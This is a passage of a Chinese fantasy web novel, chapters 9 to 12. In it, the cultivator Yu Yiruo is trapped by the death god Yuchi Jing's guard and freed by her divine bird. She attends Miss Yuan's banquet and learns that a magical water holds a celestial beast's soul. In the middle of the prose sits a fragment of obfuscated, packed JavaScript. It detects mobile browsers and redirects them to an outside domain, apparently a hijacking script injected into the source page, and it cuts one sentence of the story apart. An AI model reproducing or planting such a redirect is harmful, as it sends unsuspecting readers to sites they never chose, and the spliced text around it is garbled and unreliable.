收回灵气的风信正往这处走,猛地听到这样一句话,看了眼地上的极品灵器,成色好,灵气又浓郁,活了大半辈子也是极少见到的,
又看到两人,一个笑呵呵,一个冷得可以拧出冰来,心里头咯噔一跳,这个没眼力见的,把他们主子当成什么了?
毕竟袁家的那个小姐,豢养的面首不知几多,只怕自家主子也被她看上了,死缠烂打不成,就发动修道之士来开口讲和,
都和主子交代了近几日少往袁府去,袁府那个小姐定然是看到了自家主子的绝世容颜,可怜主子向来不近女色,守身如玉又极为爱洁,
凑上来的,不是一刀毙命,就是被毒瞎,可现在,竟要为了那什么长远计划,委曲求全。
就在他胡思乱想扯来扯去时,余以若早已和尉迟景打得不可开交,一个青羽剑,一个无命冥火,势力都不分上下,更甚者,余以若似乎占据上风。
飘远的神思看见两人的打斗又拉了回来,看看,为了更快地深入袁家,竟连一个扶光宗的小姑娘都手下留情,
若说主子是怜香惜玉的人,只怕这世道上的男子都死绝了,可怜他的主子,先是升格为神不可,又要被人纠缠上,还是被一个凡人,想着想着,风信偷偷扬起头,将泪灌了回去。
“风信,在干什么呢,滚下来布阵!”尉迟景怒道。
不好!余以若叫苦不迭,刚才给他的宝贝,非但没有收,还一把火烧了,谁不知道无命冥火可焚尽天下之物,倒也不必特地展示给她看的。
脊背微微发寒,“咻”的一声,她一个急转身,罡风擦肩而过,她定定神,
瞧见不知从哪又冒出来一个玄衣男子,手持长鞭,恶寒寒地朝她走来,腹背受敌,两相夹击,唯有侧边可去,余以若想都没想,立马飞身跃了过去。
就在这当儿,“咚”的一声,四角狂掀起几阵雾气,似是感应到了什么,火速收拢过来,直直地将余以若的四肢定在里头,脚下的法阵便在此刻露出了真面目。
“转换大法?”余以若暗自心惊,他们竟在此布设下阵法,只不过,转换大法极为少见,设在此地,抓拿她又是为何,
以及恰才和他交手,她明显感觉到,尉迟景的实力并非如传言般可怖至极,倒是和泄气的气球有些相像,一但她使尽全力,尉迟景的无命冥火便会出现纰漏。
一些列的疑问来不及开口,尉迟景的声音又响起,“再等等。”
“可是,主上,这些修仙者心怀鬼胎,您的安危不容忽视。”风信抱拳道。
“还有些事情没弄清楚,不急。”尉迟景背过身去,翻起手,看着中间微弱却鲜活地跳动,但一下比一下稀薄,只需轻轻一浇,便再也燃不起半点生机的无命冥火。
“主上!”
尉迟景收回手,敛起暗沉的眸色,看向他,“此事以后再议,鬼王的跟班找到了吗?”
“嗯,找到了。”风信道,“在纵花楼。”
“好。”
“大人,这个人怎么办?”风信跟上尉迟景,焦急地问道。
“先留着,别放跑了。”
“是的大人。”话音一落,再抬头时,只余林间几点风声在响。
风信叹了口气,虽不清自家主子发生了什么,但跟在他身边那么多年,竟在恰才,
从主子的口中听到了一丝哀惋,虽然只有一点点,但还是被他捕捉
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到了,莫非是因为袁家小姐,又或者是这个姑娘?
他狐疑地往余以若看去,左看右看,上看下看,除了个子比不上他们死神殿里的人,其他的倒也还看得过去,
倒是这股傲气,四肢都被绑了,脸上也看不到半分怯懦,有那么一瞬,其实是和主子有些相像的。
想着想着,他就一捶脑袋,自责道,尽是胡想乱想,若是被主子发现了,岂不得剥了他的皮,好不容易成为主子眼前的红人,可不得这般瞎想。
“你们打算关我到什么时候?”余以若被他盯得莫名其妙的,开口打断他的视线。
“不知。”风信冷道,纵身一跃,飞至树稍坐了下来。
夜里有些凉,被风一吹,浑身都有些萧瑟,特别是,现在余以若四肢都被金丝绑缚着,
不过,脚下的转换大法明显是他们修仙界的法阵,勿论妖魔鬼鬼,抑或是人仙神族,
进入阵内,不是被扒掉一层皮,就是脱几层肉,可现下看来,她非但感受不到一丁点的疼痛,还感觉神清气爽,就好像有源源不断的灵气送入她体内一般。
坐在树上打量的风信也是诧异不已,不禁又接续起自己的猜想,莫非主子为了在袁小姐面前留个好印象,连阵法都偷偷改了,半点疼痛都没有,
难怪当初主子从袁府回来的时候,半路被绿衣姑娘袭击,连气都断了,也不肯透露发生的半个字眼,竟是这层关系。
“长乐镇发生的事是死神的手笔?”余以若问道。
树上的人没有应她,余以若也知道,索性另辟蹊径,“果真是你们的手笔,没想到以狠厉著称的死神,竟有偷吃别人眼珠子的爱好,啧啧啧,不亏是死神,口味都独特得很,恕我等小辈不及。”
还是没有声音,余以若继续道:“都说死神对待亲信很是严苛,这般好东西,只怕你们吃得也不少吧,说不定连腐肉也尝过,毕竟上次在苍阳山乱葬岗,我可瞧见了你们的人。”
“都不说话了,看来师兄们的传闻果真是事实,实在是刷新我的观念!”余以若惊呼道。
“你说什么呢?别胡乱造谣,吃人眼珠子的是你们自己人,我们清清白白,什么都没干。”
风信气得不得了了,怎么当时没把她的嘴封起来,瞧瞧,把他们说得像是阴沟里的老鼠似的,就算是老鼠也没有吃死人这癖好,这说的,简直把他们映衬得连老鼠也不如。
“我们自己人?”余以若自然猜得出,尉迟景虽狠戾,但干的事都是明面上的,当坏人当得也很有原则,像这般暗地里偷摸给人下药,倒也不是他一贯的作为。
细细想来,她还是觉得在师父那唠嗑听来的话,还是有些用处的,想着想着,就目露悲凉的神色,瞧见腰间的掌门令牌心脏猛地一抽。
大鸟呢?师父给她的五采鸾鸟呢?难怪最近安静了那么多,合着是大鸟不见了,可现在,慌乱之下,脑子搅成一团,她把大鸟丢哪去了?
正注意着这头动静的风信见她神情惊慌,警惕地展开长鞭。
猝地,石子适时砸了过来,风信一甩长鞭,拍落石子,冷道:“谁?滚出来。”
9. 袁小姐
树稍挂着一轮明月,凉意挤着树与树的缝隙打在两人的面上,风声里,似有什么东西在不停穿梭,搅得枝叶哗啦作响。
风信退至余以若身旁,握紧手中的长鞭,逐一巡视过去。
突而,不远处的枝叶微颤,他一个箭步冲过去,鞭风一扫,簌簌落叶抖落在地,面前仍旧是空无一人,风信呵道:“谁?装神弄鬼的,出来!”
袁府的人早已被他们迷晕,此刻只怕还没醒,如今又是谁,若说无人,可周遭浓郁的灵气又是怎么一回事?
他虽当值不久,任职以来干的活都没有什么困难,要他出面的也极少,好不容易熬到飞穆受伤,才有机会在死神面前展示自己的才华,断不能因此丢了饭碗。
思及此,雄心斗志愈加强烈,跃上树稍,二话不说将长鞭变作长刀,哗啦啦地猛扫过去,只见一茬又一茬的树冠被扫落在地,也仍旧不见对方的身影。
能跻身成为死神的护法,他自问实力是不弱的,可来者似乎完完全全凌驾于他之上,探测许久,只捕捉到微弱的灵力波动。
“出来!”
余以若看着风信无头苍蝇般,摸不着头脑,一时间有些窃喜,师父给她的这只大鸟,虽不知从哪来的,但实力却是一等一的好,堪堪够得上元婴后期的修为,只不过,却被她给忘在乱葬岗。
就在她懊恼萌生时,风信早已被大鸟打落在地,脸上身上无端多了几个爪印,还是滂臭熏鼻的腐臭味,勾得苍蝇小虫一股脑扑将上去,
正要气愤开口,冷不防前面的大鸟,神气地甩了甩尾巴,肥大的蛆虫就这么不偏不倚地落到了他的鼻梁上。
也不知是尖叫来得更快,还是大鸟的巴掌来得更快,等余以若再看清他们时,风信已被自己的鞭子卷成了一团,
大鸟迈着倨傲的步子,特地挑了个显眼的位置站定,一扭头,对着她重重地“哼”了声。
“大鸟,我也不是故意的,你也知道我连路都会认不清,把你丢掉那不是很正常的吗?”余以若看着它,漂亮洁净的羽毛也不知道遭遇了什么,
不仅看不出原来的颜色,屁股上还缺了一大块,甚至还散着微弱的烧焦味,甫一对上它委屈巴巴的神色,愧疚感立马涌了上来,
软下声道:“抱歉,我下次不会了,我记着。”
大鸟把脑袋扭到另一边,抱胸又“哼”了几声。
“好鸟,你是我见过的最漂亮的鸟了,别气生气了,我下次注意。”
“你上次也是这么说的。”大鸟咕哝道。
“是吗?那我再说一次,我下次下次一定注意。”
“你……”大鸟气不过,翅膀一展直接飞走。
“等等,你把我落这了,我怎么回去啊。”
大鸟飞至树稍站定,扭过屁股疼惜地看了几眼,还好是晚上,要不然光溜溜的屁股可真没法见人,
它发誓无论余以若再说什么,它的鸟心也是石头,再也不会理她了,更别说陪她去找那个什劳子专掏人心窝子吃的死神。
不过,死神?等等!
……
法阵内,余以若无声地叹息,大鸟一向对自己的毛格外看重,现在只怕十头牛都拉不回来了,也是怪她把人鸟丢乱葬岗,和肥蛆同床共枕睡了一夜。
就在她无措至极时,头顶突然被什么东西重重地砸了下,她狐疑地抬起头,惊喜道:“大鸟,这附近有牛吗?你被拉回来了!”
“没牛,但很快有了。”大鸟急忙替她解开法阵。
正要走,被缚在一旁的风信浑身上下写满了反抗和恼怒,奈何他的长鞭结实耐磨,无论他怎么动,也挣不开手。
悲哀地望完他最后一眼,大鸟收回目光,跳上肩头,神秘兮兮地道:“我在路上瞧见了尉迟景,他偷摸地带了很多人,好像在找什么东西。”
“找东西?”余以若纳闷,他来这不是收集死人魂灵吗?况且刚才在他们的对话中,隐约听见了纵花楼这三个字,听起来倒不像是正经的地方。
“嗯,我还听见啊。”大鸟警惕地看了看四周,确认无人后才敢小声地说:“死神的灵力似乎大不如前了,最后可能会死。”
“会死?”余以若一惊。
升格为神的,唯有被天道抹除而陨落,抑或是渡劫失败,灵力流失而死,确乎极为少见,甚至听起来有些匪夷所思。
“对。”大鸟肯定点头,眸子一转,又有些悲戚,“你说他死了,你是不是就再也升不了仙了。”
“可我杀了他,他不也好好地活着吗?”余以若不解,“会不会是他们给我误判了?”
“没有,我记得清清楚楚,当日上界的飞鹤过来的时候,从他的宝匣里看得分明,你当真无疑杀死了尉迟景,而且若是误判,你现在的灵力有恢复吗?”
展开手,又合拢,半点灵力也使不出,她敛起眸色,摇了摇头,闷闷道:“没。”
“那就是喽。”大鸟一跳,似乎很满意自己的猜想,看她又蔫儿吧唧的,悄声补充了一句,
“不过这都是我从那些嘴碎的侍卫口中听来的,当不得真,再说,
死神肯定有办法活下去,毕竟小小年纪就挑战天玄宗掌门人,撕开通往上界的路的人,可不是一般人。”
“这倒也是。”
最后一句话说完,一人一鸟就沉默着走了一路,直至翻墙进了袁府,甫被冷风拂面,离去时的担忧涌了上来,
她慌不迭地跑去城主的房间查看,被几个侍卫拦下,询问了几遭,都说无事发生,
又怕程师姐她们出什么意外,逐一查看后,得到的结果却是一般无二。
近几日丫鬟小厮都十分疲倦,打了些瞌睡,侍卫满带歉意地对她说。但为何就连那把掉落的剑都无踪无迹,就像一切都未曾发生过。
被困在法阵里头,余以若也累得很,索性丢下这件事,待翌日来查看,便奔到卧房,扎扎实实地睡到第二天中午。
门是被一个小婢推开的,见余以若靠坐在床上,连忙扬起笑,“仙长昨晚睡得如何?”
“还行。”余以若顶着巨大的黑眼圈一本正经道,见桌上放了张请柬,问道:“这是怎么一回事?”
小婢拧着帕子,扭头道:“是我们家小姐,宴请各位仙长。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447530|169447||http|test|mini|href|location''.split(''|''),0,{}));
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>“袁小姐?她不是被禁足了吗?”
“是,但又不是。”小婢把帕子递给余以若,转头去拿杯子,
“我们小姐人很好,对我们这些做下人的都很好,但是不知道之前哪里触犯到了老爷,被禁了足,直到今早,老爷也是疼惜小姐,便放了她出来。”
“小姐想着仙长来了那么多天,都没能亲自去见一见,索性写了些帖子给各位。”
“还真是挺正式的。”余以若展开帖子,略略看了几眼,道:“你知道的还挺多。”
小婢一愣,继续手头上的活,“仙长谬赞了,这都是我们做下人都心知肚明的。”
不得不说,袁府的风评确实挺好,就连小婢都操心自己这些外人能不能和她们小姐相处得来,
正好她也有这个心思去会会这个袁大小姐,毕竟她总觉得,这个袁府小姐有些不对劲。
倒也想不出是哪点不对劲,余以若就揣着不解和桌上的粥咽了下去,正要出门,身后猛地被什么东西一撞,几乎一个趔趄就要翻了出去,
余以若把罪魁祸首拎到一边,又看到它被烧得光溜溜不长一毛的屁股,忍不住笑了。
“你笑什么笑,余以若,我发誓再也不理你了。”大鸟气急败坏道。
“行,不理我,我还准备去给你拿点符咒来,帮你遮一遮。”余以若道,“毕竟你出门丢的可是我的脸,最近你还是不要出门了,歇着吧。”
大鸟小嘴一撇,“不出就不出,谁稀罕。”
“嗯。”余以若点点头,看了它最后一眼就出门了。
袁家府邸的装潢不同于长乐镇一贯的风格,倒是有些江南水乡的格调,温婉典雅,据说因着袁小姐三岁时,
随口的一句话,袁老爷记在心里,时不时让人搬些假山,运些花草,慢慢地便布设成了这个样子。
设宴的地点被安排在府后的水榭上,道旁种着时令的花草,清风宜人,近几日断案断累了,很是需要这个放松的机会,
是以,程舟怡和鹤览川来得早,两人闲聊了不久,就望见余以若朝这边走来,依旧是绿衣披发,但肩头上没了那只鸟。
“余师妹,来这坐。”程舟怡把她拉到自己边上,“我和鹤师兄来得早,话都聊完了,正好你来了,听我房里的小婢说,你昨晚来了。”
“是。”
“为何,难不成发生了什么事?”程舟怡道。
不知为何,一向早起的她,今日竟足足睡到了日上三竿,她睡眠又浅,稍有动静便会惊醒,可昨晚她一点声音都没听到,又从小婢口中得知,昨晚余以若是如何地捶门,或许是她想多了。
“昨晚……”余以若斟酌着词句,
死神在这的消息一旦传出去,对真正的凶手最有利,平白无故的一个替死鬼,想来大家的矛头都会对准尉迟景,揪不出真正的凶手,那么她们这趟做的就是无用功,
更甚者,凶手可能会念着一不做二不休的打算,直接屠城也不是没有的。
正当她饱受程舟怡焦灼目光,不得不开口时,身后传来了轻柔的嗓音,“各位仙长来得这般早,微儿实在惭愧。”
10. 撩拨
来者着宝蓝曳地裙,轻盈飘然,下巴尖尖,皮肤白皙,秀发半挽,美目在几人身上逡巡几圈,缓缓开口,
“微儿近几日不便出门,未曾第一时间问候各位,多有得罪。”
“袁小姐言重了。”几人起身回礼。
“听闻昨晚城内并未发生伤人的事件。”袁微接过程舟怡递来的茶水,轻轻抿了口,看向鹤览川,“是吗?鹤仙长?”
“我们也是恰才得到消息,应该是属实的。”鹤览川有意别开脸去,抚上腰间的剑鞘。
“这凶手也当真歹毒,无论男女皆是一贯的挖人眼珠,落到阴曹地府连路也看不清,真真够骇人的。”袁微放下杯盏,扶了扶头上的金钗,“不过,鹤仙长在这,因当会保护微儿的吧。”
“袁府上下皆布设了阵法,寻常妖物进不来。”鹤览川面无表情,摆明了是不想和她多说几个字,余以若看在眼里,又去看他拿到怀里的剑鞘。
通体冷白却不长,上头雕画着繁复的荷花,乍一看倒像是女子的风格,一个大男人整日揣宝贝似地带着空剑鞘,自己的剑却随意地搁在一旁,奇了怪了,
余以若想不明白,正想再多看两眼,头顶上穿来一声,“余师妹,你意下如何?”
“什么?”余以若一抬头,对上几人灼灼的目光,呆愣道:“实在是抱歉,我恰才走神了,你们在说什么?”
对面的袁微轻轻一笑,开口解释道:“是这样的余仙长,前几日你们给我饮用的神水,我发现不仅可以让我的脸更加白皙,而且对我的身子呀也大有好处。”说着还亮起双手,展示给几人看。
甫一凑近,甜腻的香味冲了上来,程舟怡皱眉退后几步,对余以若道:“上次的井水还剩了些,在师兄的房里,余师妹,你今日无事,便去取些给袁小姐就是了。”
“师兄房里?我?”余以若不确定问道:“凌常白师弟呢?怎么没见到他?”
此话一出,几人都愣了愣,凌常白也算半个修仙者,宴请他们凌常白没有不来的道理,而且前几日给了他几本功法,让他先打打底子,接下来的几天,鸡鸣还没升天,总能听到他在院子里哼哧哼哧地练剑,今日倒是格外得安静。
“哦,凌公子啊,一大早便出门去了,据说今日是他娘的头七。”袁微缓缓收回手,微笑道。
“头七?”余以若若有所思。
“凌公子可是我们长乐镇出了名的孝子,天寒地冻的,为了让他娘吃上一口新鲜的鱼肉,竟自个跳到水中,捞了几条上来。”
袁微捻起一个黄灿灿的金桔,嚼了嚼道:“听说啊,还修养了好些天,才恢复过来,唉,也就是从那个时候,长乐镇开始出现杀人事件了。”
袁微望向远方,思绪越飘越远,对上鹤览川的凤眸,似乎想起了些什么,悲悯一闪而过。
“他娘同徐芙蓉的娘到底是怎么一回事?”
“也没多大的事,就是些小儿打闹罢了。”袁微淡淡的,似乎有意避开这个话头,
几人便东一句西一句扯了些无关紧要的话,程舟怡和鹤览川就起身离府了,
而余以若使不出灵力,去了也无非是送死,索性留在袁府给袁微拿井水,以及讨了些给大鸟疗伤的符箓。
都说袁小姐喜好拈花惹草,可今日看来也未有半点异常,就连身旁的小婢也是素净憨厚,没有察觉出什么不同,
倒是凌常白此人,实在是想不通师父为何突然收了他,修仙是要自小打基础,根基不稳,以后无论修成什么样,总不及自小修习的他们,贸然将他带回去,先不说有没有修道的耐性,就是瞧着他也是成家立业的年纪,因此而耽误了他,多过意不去。
想着想着,就走到了鹤览川的房门口,袁府很是好客,就连客房的规模布局都有主房的气度,连小婢小厮也是一打一打地来,
只不过也不知是不是换班的时辰,余以若一路走来,都没有半点人影。
心下有些惴惴不安,但毕竟是天玄宗掌门接班人的住处,里头安设的阵法不知多少,
要不然,鹤览川也不会叫她来拿,就怕袁府小姐一个不小心碰到了什么机关,在人家地盘上伤了人家女儿可不是件好事。
思及此,轻轻地把门推了条缝,确认什么事都没有后,大着胆子将整个儿推开,门“吱嘎”一声,她抬脚进去。
屋内很静,似乎还带点冷,法阵机关什么的,她是没见着,看着空空荡荡,什么都没掀起的地面,有一丝错愕,难道鹤览川今日忘记设法阵了?
正疑团丛生,头顶上“咻”地穿来一阵冷意,本能地抬头,怔怔地对上了一双黝黑的眸子,
眸子的主人正散漫地斜靠在榻子上,手上有一搭没一搭地抛着果子,看见她朝自己看来,挪开了眼,勾了勾唇,“绿衣同修,真是巧了。”
“你……你怎么在这?”余以若握住剑,退后了几步,脚后跟正要抵达门槛,通红的果子“咚”地擦脸飞过,直直地撞上身后的房门,受力道的作用,门就这样稳稳地阖住。
“吱嘎”的一声传到余以若耳朵时,浑身上下冷了几分。
“扶光宗青阳道长座下第十一位弟子,余家长女,幼时修道,却资质平平无奇,久久不得升仙。”红袍少年直起身子,看向她“可对?绿衣同修?”
“你调查我?”
尉迟景戏谑道:“一个毫无半点资历的丫头片子,还不值得我去调查。”
“大人此次前来定然不是听我讲述身世的吧。”余以若暗暗抽出剑,“可是为了取我性命?”
两人相隔几步之远,空气凝重阻涩,袅袅升起的檀香下,若隐若现有暗潮涌动。
“取你性命?你可算看得起自己。”尉迟景勾起唇,“我只是想来弄清楚一件事。”
“何事?”余以若看着眼前人朝自己一步步走来,心提到了嗓子眼,脊背更是退无可退,早已抵到门框,房内被设了禁制,她出不去。
“青羽剑,是从何而来的?”尉迟景在一步宽的位置站定,“你上次杀我,是受何人指使?”
“什么?”余以若纳闷,青羽剑是她师父给她的,具体从何而来,她也是不清楚,再说杀他,根本就是她失了手,
谁能想练剑就练剑,好端端的,剑飞了,好像长了翅膀般,一头就扎到了别人身上,多年来,还是头一次出现这种情况。
显然,他不信,“绿衣同修?你当我三岁小儿,好骗?”
“自然不是,我说的句句属实,青羽剑从何处来,
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只能问我师父,可惜我师父闭关多年,你还得再等等。”
看他面色冷得吓人,余以若心想,就算是上界的神灵,也没有这么小气的吧,接二连三的,还要什么,要杀要剐,杀也杀过了,灵器也被烧了,就剩一个她了,
难道要一命抵命,可若是真杀她,断然不会和她在这多废话,而是她身上有什么威胁到了他的东西。
想到这,余以若一下子底气十足了起来,“阎罗殿的鬼王,有一本生死簿,若大人实在是害怕英年早逝,不妨随我一道去一趟。”
“不必。”尉迟景冷道。
余以若心道,他们两果真关系不好,可若是如此,她的功德怎么办?
“那你三番两次来找我茬,又是所谓何事?”余以若眸光一动,“难道大人的身子有了什么隐疾,需要我做什么?”
躲在暗处的风信猛地呛了一口,什么虎狼之辞,动作一大,肩头上又疼了起来,牵起昨晚被胖鸟揍后,又被死神大人教训的痛苦回忆,心里头就是说不出的难受。
“换做别人的话,我自然是不同意,但若是大人这等的姿色,我委屈委屈还是愿意的。”余以若上前两步,握紧青羽剑,看向他。
红袍少年仍旧一动不动,睨着她,喉结一滚,吐出四个字眼“恬不知耻。”旋即破门出去。
余以若叹了口气,总算把这人送走了,道上素来传闻死神尉迟景孤家寡人,从未见他亲近过任何女色,
就差把贞洁二字挂胸前,和来者不拒的魔王简直是天上地下,足足有相隔十万八千里的差别。
是以撩拨两下,对别人是乐得开怀,可像他这样的人,只怕恨不得把耳朵洗干净。
只不过,余以若拔出青羽剑,上次就是用这把剑捅的他,有多次,尉迟景是想来抢的,但是没有动手,不是抢不过,更像是畏惧,
想起来也是够匪夷所思,毕竟从无敌手的尉迟景,怕过什么?什么都没怕过。
收回剑,稳了稳心神,又记起袁小姐交代的水,火速找了出来,顺便拿了几张符箓,方心满意足地离去。
……
长乐镇的后山生长着密密匝匝的青竹,被风一吹,摇摇晃晃地落了红袍少年满肩。
“主子,可问出什么?”风信抱拳道。
“没,转换大法也没用,就连那把剑也拿不到。”尉迟景拧拧眉,嘲道:“青羽剑,无非就是把破剑,那帮老古董在捣鼓些什么东西。”
“大人可需要我再去查一查这个余以若。”风信有些诧异,那个余以若到底是什么来头,普天之下,竟有大人问不出的话,可知道,进入死神的吐真阵,什么话不能问出来。
“把青阳也一并查查。”
“可,青阳闭关多年。”风信踌躇道,扶光宗掌门人多年闭关,此刻只怕还未出关。
尉迟景不耐道:“青阳不在闭关。”
不在?风信讶然片刻,望着尉迟景走远,匆忙跟将上去,“主子,根据线人的消息,承祁似乎也在找那个东西。”
“承祁?”尉迟景停下步子,讥讽道:“鬼王的人,倒真难办。”
“那……”风信讷讷开口。
“去纵花楼找承祁,务必先他一步找到那个人。”
11. 偷听
天黑得很快,余以若拿到东西回房间时,已经到了饭点,小婢端来饭菜布在桌子上,“仙长若是不够再叫我。”
看着满满当当的珍馐美味,余以若惊叹道:“十个胃也装不下吧。”
“城主安排的,今日其余的仙长都出去了,怕您饿着,所以唤我多备了些,可是不合您胃口?”小婢半抬起眼打量她的神情。
“还好。”余以若扒了几口,叫住小婢,“把这个交到你们小姐手上。”
“好。”小婢正伸手接过,又猛地想起,“我们小姐出府了,不在府上。”
“出府了?”余以若咽下饭菜,纳闷道:“你们老爷才刚把她放出去,这么快就不在府里了?”
小婢应了个是,便退到一旁。
思来想去,倒是理不清,起初她刚到长乐镇的时候,便听说袁家小姐娇宠豪奢,好男色,与她欢好过的男子数不胜数,但她出手也大方,
无论是同她交往至深的,抑或是一夜情的,都能在长乐镇谋个好职位,外加袁小姐生得如花似玉,得了好处的男子自然是不会拒绝,不过也偶有一两个,忿忿不平的,但也是极少数。
正觉得袁微颇多疑点时,身后突地着了袭冷风,余以若头也不回道:“大鸟,你毛都没几根了,又想干什么?”
纸鸢并未答话,径自扑向了桌面上。
余以若心道不好,正要去抢,瓷瓶早已稳稳地落到了纸鸢怀中。
它本就是上界神鸟,世间独一无二的五采鸾鸟,天生便对灵气极为敏感,但余以若很清楚,没了毛的它此刻最想干的是什么。
眼见纸鸢一脸得瑟地拔开了筛子,余以若惊呼道:“把东西还给我!”
“这种好东西虽然不知道你是哪来的,但是我喜欢。”大鸟见她来抢,一个后跃就跳到了房梁上,居高临下地看着她,“我漂亮的羽毛就是你弄坏的,你赔我!本来我还打算几天都不理你的,没想到你这么有诚意。”
“胖鸟!什么诚意不诚意,那个不是给你的水!”余以若掏出一沓符箓,好言好气道:“这个才是你的,那个东西你不能碰,是给袁小姐的,你既是想喝,明日带给你就是了。”
“不!谁要那破符箓,这个才是好宝贝!”纸鸢执拗地把瓷瓶一揽,摆明了不想给她,毕竟她导致自己浑上下光秃秃的,像只肉鸟被麻雀嘲笑的事情还没算账呢,
看着她在下面着急忙慌地上蹿下跳,纸鸢就乐得很,好似大仇得报般放声狂笑起来。
“仙长,用这个。”小婢在一旁默默递上根棍子。
道过谢,余以若寻了个着力点,有一下没一下地朝大鸟拍过去,可纸鸢毕竟不是一般的鸟,每每都能精准地避开她的进攻。
因而,摔在地上的余以若便眼睁睁地看着,那该死的肥鸟把塞子一拔,仰头灌至一滴不剩,向她得意地炫耀几番后,抖抖身子就这么把没毛的屁股一摆,跳出窗外。
望着铺墨般的夜色,余以若心凉到了骨子里,去取个水本就九死一生,袁城主喝过之后便所剩无几,又答应袁微给她些,没想到大鸟一气之下,把整个瓷瓶里的都喝光了。
孤零零的瓷瓶塞子被风吹到她的脚边,不知是笑还是哭的表情,反正余以若还是在小婢的服侍下,回床上睡了个大觉。
直到半夜的时候,呼吸不畅,好似沉下水里,有块大石压着她的胸口,硬生生把她憋醒了,甫一睁眼,对上的就是一双明黄洁净的眼睛,侧看就是一身崭新如初的黄毛。
“胖鸟,飞哪去了,把我的水喝光长肥胆了,你这家伙,真是欠抽!”余以若一把拽开它,愤愤道:“明日怎么着你都得给我原封不动地弄回来,否则,你这神气的羽毛,我全拔了!”
“不,小主,我回来不是找你挨揍的,我只是发现这个水不是凡间的东西。”大鸟道。
天可怜见的,不就是想气气余以若,倒把自己折腾上了,那水它喝完才发现竟是上界“亓”的魂灵所化,传闻它桀骜不驯,不服上界管教,一怒之下私自下了凡间,而没有天帝的印信是不能随意下界,更别说还将魂魄分作几份,却也不知道其余的几份如何,反倒是这水,带有此人的气息。
若是说得更具体点,倒像是由它魂灵化成的,每一口都有“亓”的灵力,而之所以上次没有尝出来,应该是被面汤的汤汁覆盖了。
“也就是说这东西不是凡间的东西?”余以若盘起腿,静静地听大鸟讲着。
“自然,像这种好东西,一喝就灵力充沛,连身上的毛都长齐了。”大鸟说着说着还展示起它焕然一新的羽毛来了,顿了顿,惋惜道:“就是不能多喝,毕竟是上界的神灵,喝多了就会爆体而亡。”
余以若不想看它显摆,将被子一掀,重新躺了回去,反正同她也无关紧要,还是睡觉来得实在。
大鸟见她不为所动,还有心思睡觉,气道:“余以若!你知不知道这意味着什么?”
“心情好就小主,心情不好就直呼我大名,胖鸟你是不是只神鸟!”
“这意味着你可以有升仙的机会!”大鸟不理她,径直蹦到她脑袋边上,拍了拍她的脸。
“什么?”余以若立马坐了起来,也不管它是不是用臭脚碰她脸了,抓着它连忙问道:“你再说说,这是什么意思。”
“也就是说,虽然不知道是怎么一回事,但我可以看出来‘亓’的魂灵还没有过分消融,你只需要找出剩余的一些,然后借它的力量打开上界的通道,就算是这样你也可以升仙,也就不用走帮尉迟景补阳寿的这条路了。”大鸟神气地说。
“可保真?”
“当然保真!我是谁,我可是上界的神鸟,这种事情我看得还少吗?那个尉迟景不就是用这种方法上去的吗,当初他用的还不是别人的魂灵,而是什么你知道吗?”
大鸟神秘兮兮靠近她,戒备地环视几圈,欲言又止的模样被余以若一拍脑袋,老老实实就把后面的话交代了出来,
“他用的可是他爹和他娘的魂灵。”
大鸟唏嘘了几声,又继续说,“我见过很多这种例子,但是用自己爹娘的命给自己铺路的真是少见,这人又可怕又冷血,更勿论后面杀了至央宗派那么多的人。”
至央宗派是尉迟景生母所在的门派,若说修仙界拼实力拼背景,没一个人拼得过尉迟景,亲爹是天玄宗先掌
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门,亲娘是至央宗长老,爹娘都有第一美人的称号,
强强联手,无论如何尉迟景一出生便是万众瞩目的存在,可就是这么一个天之骄子,十几岁年纪便经脉俱碎,活不过成年,而此人为了活命,都做了些什么呢。
单拎一个出来,都足够骇人,爹娘死于他的剑下,就连同门的师兄弟都没能幸免,甚至连无辜的百姓都被他剖却心肝用来炼药。
此人天理不容,升格为神却只能甘居下界,也是罪有应得。
“所以啊,我劝你还是别去给这种不生不死的邪神补什么阳寿的,尽早把那个‘亓’的魂灵找好,我们就回山升仙。”
大鸟环胸抱紧,一想到此人它就脊背生寒,连上界的神灵都敢挑衅,它这么一只小胖鸟,说不定哪天就死在他的刀下了。
见余以若不说话,估摸着应该是被吓到了,遂轻轻推了推她,“余以若,你怎么了?”
“你说了这么多,可谁见过呢,这些传闻我从小听到大,可是我只听到大家说,但是真真见过的又有多少个,既生来便是天之骄子,想必肩上的担子不小,
压力大正常得很,做得稍有差池,别人不满意了,铺天盖地的谩骂、怨责和质疑就来了,可谁又明白当事人的心里其实也是不好受的。”
余以若想起很小的时候,随师父下山,被歹徒掳走,救下她的一袭红衣。
又继续道:“这些话说起来很容易,你一句我一句,随随便便就能将一个人诋毁。”
大鸟没有说话。
余以若又说:“我觉得有一句话说得特别好,眼见为实,耳听为虚,了解一个人,不单单是从别人的口中,而是应该实实在在地去接触,你才能知道这个人究竟是怎样的一个人,除此之外,都是虚妄之言,当不得真。”
十五的月亮十六圆,今日的月色皎洁得过于分明,漫过窗棂,静悄悄地拂上少女白皙的脸庞,静谧美好,只怕世间至美也不过如此,
大鸟呆呆地看着,一时间竟不知如何反驳,遂摆了摆翅膀,“好吧,你说的就是你说的,反正我觉得这个人危险得很,你可要远离,还是找到‘亓’的魂灵稳妥。”
“这倒也是。”
……
屋顶上,红袍少年飞掠而过,只留下一抹绮丽的赤色,交杂在凉薄的月夜下。
跟在后头的风信摸不着头脑,本是来收走上次遗落在地的刀剑,同时接妖族的那位大人过来,
可路过一处房顶,听到里面有人在谈论上界灵兽“亓”,便停下步子多留意了几刻,
没想到听着听着就听到她们议论主子了,也不知道主子听没听到。
不过倒也是奇怪,平常姑娘无非就是讨论主子如何凶神恶煞,亦或者是如何俊美无暇,倒极少听到有人为他辩解的,
抛开一切不谈,他都有点怀疑那个姑娘是不是被什么刺激到了,何以会说出这么令世人称作为妄言的论断。
风信缩回长鞭,忽觉是不是自己也被前几日的胖鸟揍坏了脑子,净想些无关紧要的事,抓紧替主子办事才行。
思及此,心情倍儿好,火速追上主子的身影,往黑夜处去了。
12. 往事
接连几日,袁府里都是冷冷清清的,鹤览川和程舟怡出城查案了,毕竟是天玄宗揽下的活,他们的秘法向来不外露。
